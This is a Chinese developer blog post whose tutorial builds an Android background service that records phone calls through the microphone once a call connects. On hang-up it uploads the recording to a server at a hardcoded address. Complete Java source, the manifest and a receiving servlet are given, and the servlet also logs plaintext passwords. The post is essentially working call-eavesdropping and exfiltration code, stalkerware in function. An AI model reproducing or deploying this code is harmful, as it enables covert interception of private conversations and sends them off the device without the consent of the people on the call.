采用服务监听用户的通话,上传信息到服务器
来源:互联网 发布:2017淘宝排名规则 编辑:程序博客网 时间:2024/06/01 21:55
业务需求:以下我们要模拟的功能是,我们要对电话进行录音监听。当电话在通话的时候,我们对电话进行录音,但挂断电话的时候,我们对监听进行关闭,并且同时上传录音到服务器上。
首先我们编写基础代码:
package org.china.lee.phonelistener;import java.io.File;import org.apache.commons.httpclient.methods.PostMethod;import org.apache.commons.httpclient.methods.multipart.FilePart;import org.apache.commons.httpclient.methods.multipart.MultipartRequestEntity;import org.apache.commons.httpclient.methods.multipart.Part;import android.app.Service;import android.content.Intent;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;public class PhoneListenerService extends Service {@Overridepublic IBinder onBind(Intent intent) {return null;}@Overridepublic void onCreate() {super.onCreate();/** * 1:判断当前手机的状态 * 2:当前发现手机处于 通话状态 * 创建一个录音器,录下来用户的通话信息 * 当发现手机再次处于idle(挂断)状态 停止录音,把音频文件 上传到服务器 * 得到手机与电话状态相关服务 */TelephonyManager manager=(TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);manager.listen(new MyPhoneListener(),PhoneStateListener.LISTEN_CALL_STATE);}private class MyPhoneListener extends PhoneStateListener{@Overridepublic void onCallStateChanged(int state, String incomingNumber) {switch(state){case TelephonyManager.CALL_STATE_IDLE:System.out.println("当前电话处于闲置状态");break;case TelephonyManager.CALL_STATE_RINGING:System.out.println("电话号码为:"+incomingNumber);break;case TelephonyManager.CALL_STATE_OFFHOOK:System.out.println("当前电话处于通话状态!");break;}super.onCallStateChanged(state, incomingNumber);}}public void upload(File file) throws Exception{// 实例化上传数据的 数组 part []Part[] parts = { new FilePart("file",file)};PostMethod filePost = new PostMethod("http://192.168.1.104:8080/web/LoginServlet"); filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));org.apache.commons.httpclient.HttpClient client = new org.apache.commons.httpclient.HttpClient(); client.getHttpConnectionManager().getParams() .setConnectionTimeout(5000);int status = client.executeMethod(filePost);if(status==200){System.out.println("上传成功");}else{throw new IllegalStateException("服务器状态异常");}}}
package org.sicn.lee.phonelistener;import android.os.Bundle;import android.app.Activity;import android.content.Intent;import android.view.Menu;public class MainActivity extends Activity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);super.setContentView(R.layout.activity_main);Intent service=new Intent(this,PhoneListenerService.class);startService(service);}@Overridepublic boolean onCreateOptionsMenu(Menu menu) {getMenuInflater().inflate(R.menu.main, menu);return true;}}
<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="org.china.lee.phonelistener" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="10" android:targetSdkVersion="17" /> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="org.china.lee.phonelistener.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <service android:name=".PhoneListenerService" ></service> </application></manifest>
现在我们查看一下界面log
启动activity
现在我们使用模拟器拨打进来电话。
现在我们查看一下log
现在我们挂断电话,查看一下log
下面我们试一下接通电话:
现在正是录音。
package org.china.lee.phonelistener;import java.io.File;import org.apache.commons.httpclient.methods.PostMethod;import org.apache.commons.httpclient.methods.multipart.FilePart;import org.apache.commons.httpclient.methods.multipart.MultipartRequestEntity;import org.apache.commons.httpclient.methods.multipart.Part;import android.app.Service;import android.content.Intent;import android.media.MediaRecorder;import android.os.Environment;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;public class PhoneListenerService extends Service {@Overridepublic IBinder onBind(Intent intent) {return null;}@Overridepublic void onCreate() {super.onCreate();/** * 1:判断当前手机的状态 * 2:当前发现手机处于 通话状态 * 创建一个录音器,录下来用户的通话信息 * 当发现手机再次处于idle(挂断)状态 停止录音,把音频文件 上传到服务器 * 得到手机与电话状态相关服务 */TelephonyManager manager=(TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);manager.listen(new MyPhoneListener(),PhoneStateListener.LISTEN_CALL_STATE);}private class MyPhoneListener extends PhoneStateListener{MediaRecorder recorder=null; @Overridepublic void onCallStateChanged(int state, String incomingNumber) {try {switch(state){case TelephonyManager.CALL_STATE_IDLE:System.out.println("当前点哈处于闲置状态");if(recorder!=null){recorder.stop();recorder.release();recorder=null;}break;case TelephonyManager.CALL_STATE_RINGING:System.out.println("电话号码为:"+incomingNumber);break;case TelephonyManager.CALL_STATE_OFFHOOK:System.out.println("当前电话处于通话状态!");recorder=new MediaRecorder();recorder.setAudioSource(MediaRecorder.AudioSource.MIC);recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);recorder.setOutputFile(Environment.getExternalStorageDirectory()+"/temp.3gp");recorder.prepare();recorder.start();break;}} catch (Exception e) {e.printStackTrace();}super.onCallStateChanged(state, incomingNumber);}}public void upload(File file) throws Exception{// 实例化上传数据的 数组 part []Part[] parts = { new FilePart("file",file)};PostMethod filePost = new PostMethod("http://192.168.1.104:8080/web/LoginServlet"); filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));org.apache.commons.httpclient.HttpClient client = new org.apache.commons.httpclient.HttpClient(); client.getHttpConnectionManager().getParams() .setConnectionTimeout(5000);int status = client.executeMethod(filePost);if(status==200){System.out.println("上传成功");}else{throw new IllegalStateException("服务器状态异常");}}}
最后的步骤就是上传服务器
package org.china.lee.servlet;import java.io.File;import java.io.IOException;import java.util.List;import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import org.apache.commons.fileupload.FileItem;import org.apache.commons.fileupload.FileItemFactory;import org.apache.commons.fileupload.disk.DiskFileItemFactory;import org.apache.commons.fileupload.servlet.ServletFileUpload;/** * * @project_name: waimao * @Author: china * @Date: 2013-8-4 * @Version: V 1.0 * @Desc: */public class LogServlet extends HttpServlet {private static final long serialVersionUID = -8503400529982559463L;public LogServlet() {super();}public void destroy() {super.destroy(); }public void doGet(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {String name=request.getParameter("name");if(name!=null){name=new String(name.getBytes("iso8859-1"));}String password=request.getParameter("password");System.out.println("name:"+name+";password:"+password);if("zhangsan".equals(name)&&"123456".equals(password)){response.getOutputStream().write("login Success".getBytes());}else{response.getOutputStream().write("login Faile".getBytes());}}public void doPost(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {boolean isMultipart=ServletFileUpload.isMultipartContent(request);if(isMultipart){String realpath=request.getSession().getServletContext().getRealPath("/files");System.out.println(realpath);File dir=new File(realpath);if(!dir.exists()){dir.mkdirs();}FileItemFactory factory=new DiskFileItemFactory();ServletFileUpload upload=new ServletFileUpload(factory);upload.setHeaderEncoding("UTF-8");try {List<FileItem> items=upload.parseRequest(request);for(FileItem item:items){if(item.isFormField()){String name1=item.getFieldName();String value=item.getString("UTF-8");System.out.println(name1+"="+value);}else{item.write(new File(dir,System.currentTimeMillis()+item.getName()));}}response.getOutputStream().write("你好".getBytes("utf-8"));} catch (Exception e) {e.printStackTrace();}}else{doGet(request, response);}}public void init() throws ServletException {}}
package org.china.lee.phonelistener;import java.io.File;import org.apache.commons.httpclient.methods.PostMethod;import org.apache.commons.httpclient.methods.multipart.FilePart;import org.apache.commons.httpclient.methods.multipart.MultipartRequestEntity;import org.apache.commons.httpclient.methods.multipart.Part;import android.app.Service;import android.content.Intent;import android.media.MediaRecorder;import android.os.Environment;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;public class PhoneListenerService extends Service {@Overridepublic IBinder onBind(Intent intent) {return null;}@Overridepublic void onCreate() {super.onCreate();/** * 1:判断当前手机的状态 * 2:当前发现手机处于 通话状态 * 创建一个录音器,录下来用户的通话信息 * 当发现手机再次处于idle(挂断)状态 停止录音,把音频文件 上传到服务器 * 得到手机与电话状态相关服务 */TelephonyManager manager=(TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);manager.listen(new MyPhoneListener(),PhoneStateListener.LISTEN_CALL_STATE);}private class MyPhoneListener extends PhoneStateListener{MediaRecorder recorder=null; @Overridepublic void onCallStateChanged(int state, String incomingNumber) {try {switch(state){case TelephonyManager.CALL_STATE_IDLE:System.out.println("当前点哈处于闲置状态");if(recorder!=null){recorder.stop();recorder.release();recorder=null;new Thread(){@Overridepublic void run() {File file=new File(Environment.getExternalStorageDirectory()+"/temp.3gp");try {upload(file);} catch (Exception e) {e.printStackTrace();}super.run();}}.start();}break;case TelephonyManager.CALL_STATE_RINGING:System.out.println("电话号码为:"+incomingNumber);break;case TelephonyManager.CALL_STATE_OFFHOOK:System.out.println("当前电话处于通话状态!");recorder=new MediaRecorder();recorder.setAudioSource(MediaRecorder.AudioSource.MIC);recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);recorder.setOutputFile(Environment.getExternalStorageDirectory()+"/temp.3gp");recorder.prepare();recorder.start();break;}} catch (Exception e) {e.printStackTrace();}super.onCallStateChanged(state, incomingNumber);}}public void upload(File file) throws Exception{// 实例化上传数据的 数组 part []Part[] parts = { new FilePart("file",file)};PostMethod filePost = new PostMethod("http://192.168.1.104:8080/web/LogServlet"); filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));org.apache.commons.httpclient.HttpClient client = new org.apache.commons.httpclient.HttpClient(); client.getHttpConnectionManager().getParams() .setConnectionTimeout(5000);int status = client.executeMethod(filePost);if(status==200){System.out.println("上传成功");}else{throw new IllegalStateException("服务器状态异常");}}}
0 0
- 采用服务监听用户的通话,上传信息到服务器
- Android 采用服务监听用户的通话,上传信息到服务器
- 在服务中监听电话的通话状态
- 采用AFNetWorking 上传base64的图片到服务器,上传的图片解析不了。ASIHttpRequest上传是可以的,请教!
- Android上传log信息到服务器
- 捕获异常信息并上传到服务器
- 修改用户头像,上传到服务器
- node.js 用户上传图片到服务器
- oracle服务器的安装和创建用户操作等和客户端连接无监听服务的注意点
- 电话通话几种状态的监听
- Android之监听phone的通话状态
- 17-使用服务监听通话 组件4 service
- TelephonyManager是一个管理手机通话状态,电话网络信息的服务类
- Android将应用程序的崩溃信息如何保存到本地文件,并上传服务器
- 简单的文件上传到Servlet 采用的httpclient
- 根据上传到suse9服务器的Oracle脚本创建Oracle数据库及执行用户脚本
- Android 开发 上传用户头像到服务器的数据库再获取显示
- Android 开发 上传用户头像到服务器的数据库再获取显示
- Awk笔记
- URL
- SRM 585
- 用两个栈实现队列
- 如何控制 Internet Explorer 浏览器的进程数量
- 采用服务监听用户的通话,上传信息到服务器
- Java多线程之可阻塞的队列
- 关于git-repo时manifest.xml的一些整理
- 关于java学习
- 数据库链接
- java 缓冲区
- CORS
- 用VC6进行UNICODE编程
- wamp 环境配置